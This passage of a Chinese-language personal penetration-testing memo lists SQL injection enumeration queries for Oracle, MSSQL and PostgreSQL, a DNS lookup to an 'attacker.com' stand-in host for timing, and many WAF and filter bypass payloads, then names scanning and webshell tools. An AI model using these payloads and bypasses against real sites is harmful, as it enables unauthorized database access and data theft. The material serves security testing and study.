列出DBA账户 SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’
选择第N行 SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9 #第九行
选择第N个字符 SELECT substr(‘abcd’, 3, 1) FROM dual #第3个字符c
ASCII值-字符 SELECT chr(65) FROM dual #返回A
字符-ASCII值 SELECT ascii(‘A’) FROM dual #返回65
字符串连接 SELECT ‘A’ \ ‘B’ FROM dual #返回AB
时间睡眠 SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) FROM dual #如果反向查询很慢
- SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual #如果正向查询很慢
MSSQL数据库
释义 SQL语句 其他
当前数据库 SELECT DB_NAME() -
所有数据库 SELECT name FROM master…sysdatabases -
- SELECT DB_NAME(N) #N为0,1,2,…
查询表名 SELECT name FROM master…sysobjects WHERE xtype = ‘U’ -
- SELECT name FROM someotherdb…sysobjects WHERE xtype = ‘U’ -
查询列名 SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’) #当前数据库
- SELECT master…syscolumns.name, TYPE_NAME(master…syscolumns.xtype) FROM master…syscolumns, master…sysobjects WHERE master…syscolumns.id=master…sysobjects.id AND master…sysobjects.name=‘sometable’ #列出master…sometable的列名称
获取版本 SELECT @@version -
当前用户 SELECT user_name() -
- SELECT system_user -
- SELECT user -
用户权限 SELECT permission_name FROM master…fn_my_permissions(null,‘DATABASE’) #当前数据库权限
- SELECT is_srvrolemember(‘sysadmin’) #当前用户权限
列出DBA账户 SELECT is_srvrolemember(‘sysadmin’) #当前用户是否是管理员,是则返回1
选择第N行 SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master…syslogins ORDER BY name ASC) sq ORDER BY name DESC #返回第九行
选择第N个字符 SELECT substring(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT char(0×41) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ + ‘B’ #返回AB
时间睡眠 WAITFOR DELAY ‘0:0:5’ #睡眠5秒
PostgreSQL数据库
释义 SQL语句 其他
当前数据库 SELECT current_database() -
所有数据库 SELECT datname FROM pg_database -
查询表名 SELECT relname, A.attname FROM pg_class C, pg_namespace N,pg_attribute A, pg_type T WHERE (C.relkind=‘r’) AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) -
查询列名 SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,") AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) -
获取版本 SELECT version() -
当前用户 SELECT user; -
- SELECT current_user; -
- SELECT session_user; -
- SELECT usename FROM pg_user; -
- SELECT getpgusername(); -
用户权限 SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user -
列出DBA账户 SELECT usename FROM pg_user WHERE usesuper IS TRUE -
选择第N行 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0 #从0行开始编号
- SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; -
选择第N个字符 SELECT substr(‘abcd’, 3, 1) #返回c
ASCII值-字符 SELECT chr(65) #返回A
字符-ASCII值 SELECT ascii(‘A’) #返回65
字符串连接 SELECT ‘A’ \ ‘B’ #返回AB
时间睡眠 SELECT pg_sleep(10) #睡眠10秒
- SELECT sleep(10) #创建自定义睡眠

WAF绕过,字符过滤

当空格被过滤后,可通过以下方法绕过:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
注释代替空格
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';

括号代替空格
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');

引号代替空格
mysql中可用单引号或双引号来代替空格。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';

特殊字符代替空格
如下特殊字符可代替空格:
%09    水平定位符号%0a    换行符%0c    换页符%0d    回车%0b    垂直定位符号

用Tab代替空格

过滤union\select

1
2
3
4
5
6
7
绕过示例:过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过select ——> selec\x74union——>unio\x6e
大小写绕过SelEct
双写绕过selselectectuniunionon
urlencode,ascii(char),hex,unicode编码绕过关键字
内联绕所有/*!union*//*!select*/

过滤引号

1
2
3
4
5
可通过注释、括号、内联注释代替引号。
字符串可写作0x十六进制。
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;

过滤=

1
2
?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=

过滤逗号

1
2
3
4
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2);                #从第一个字符开始截取2个
等价
select mid(user() from 1 for 2);    #从第一个字符开始截取2个

过滤注释符

1
2
3
4
5
6
7
8
9
测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1; 
这时候可以传入1' or '1'='1  ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;

过滤where

1
2
逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

过滤limit

1
2
逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin

过滤group by

1
2
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

过滤select

1
2
逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'

过滤hex

1
2
逻辑绕过过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

过滤substr

1
2
逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

过滤and,or

1
2
3
4
5
6
7
8
#等价关键字,在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
等价and
假如:select * from tb1 where id=1 and 1=1
此时和and等价关键字有:like(1 like 1。like可跟通配符。),rlike(1 rlike 1 rlike可跟正则表达式。),regexp(1 regexp 1 regexp可跟正则表达式。),&(1 && 1 ,逻辑与),&&(1 & 1,按位与,任意数&0的值为0),与and的结果都是1.

等价or
假如:select * from tb1 where id=1 or 1=1;
此时等价or的关键字有:||    (逻辑或),|    (按位或),任意数|0的值为任意数

以上大部分抄至农夫安全的,我也懒得自己找来写,主要他那个分的太多,搜的好费劲,所以我拿来整合一下,希望TQ大人有大量,别搞我

SQL注入总结

很多我没写,觉得没必要,也是我懒,直接sqlmap跑就行了,手工太累人了,再说,sqlmap都跑不出来的,那手工多半也难说,当然,这是写给我自己的备忘,所以我懒得写,写些常见的放上面,详细的可以看看农夫安全的,是真不错,顺带引用TQ说的一个案例,一个SQL注入手工精通的找工作,被用工具的比下去了,记那么多,也不知道有没有sqlmap效率高,内容广,毕竟那是个开源项目,集思广益,技术时长更新,可你的技术多久没更新了呢(

工具备忘

一些好用的工具备忘

扫描类

单兵工具

  1. One-Fox单兵工具库

    来源:狐狸说安全(公众号)

    本地转存链接:https://pan.baidu.com/s/1jHZpahZ7JENA-IUJSB820g?pwd=h3vq

  2. Yakit

​ 来源:github

​ 源站:https://github.com/yaklang/yakit

信息收集

  1. Wappalyzer

​ 浏览器插件,信息收集,目录中间件操作系统扫描

  1. FOFA
  2. Shodan
  3. 乌云镜像站

webshell工具

包含于One-Fox单兵工具库中

  1. 蚁剑

  2. 冰蝎